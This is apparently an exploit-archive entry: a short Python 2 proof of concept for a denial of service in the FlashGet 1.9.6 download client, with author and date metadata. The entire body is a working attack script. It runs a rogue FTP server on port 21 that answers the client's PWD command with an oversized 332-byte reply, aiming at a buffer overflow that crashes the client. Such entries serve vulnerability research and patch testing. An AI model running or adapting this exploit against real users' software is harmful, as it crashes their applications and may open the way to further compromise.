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FlashGet 1.9.6 - Denial of Service (PoC)

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Ken1Ve

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# Exploit Title: FlashGet 1.9.6 - Denial of Service (PoC)
# Date: 2020-05-02
# Author: Milad Karimi
# Testen on: Kali Linux
# Software Link: http://www.flashget.com/en/download.htm?uid=undefined
# Version: 1.9.6
# CVE : N/A

#!/usr/bin/python

from time import sleep
from socket import *

res = [
    '220 WELCOME!! :x\r\n',
    '331 Password required for %s.\r\n',
    '230 User %s logged in.\r\n',
    '250 CWD command successful.\r\n',
    '257 "%s/" is current directory.\r\n' # <-- %s B0f :x
    ]

buf = 'A' * 332

s = socket(AF_INET, SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print '[+] listening on [FTP] 21 ...\n'
c, addr = s.accept()
c.send(res[0])

user = ''

for i in range(1, len(res)):
    req = c.recv(1024)
    print '[*][CLIENT] %s' % (req)
    tmp = res[i]
    if(req.find('USER') != -1):
        req = req.replace('\r\n', '')
        user = req.split('\x20', 1)[1]
        tmp %= user
    if(req.find('PASS') != -1):
        tmp %= user
    if(req.find('PWD') != -1):
        tmp %= buf    
    print '[*][SERVER] %s' % (tmp)    
    c.send(tmp)

sleep(5)
c.close()
s.close()

print '[+] DONE'
 
# Discovered By : Milad Karimi
            
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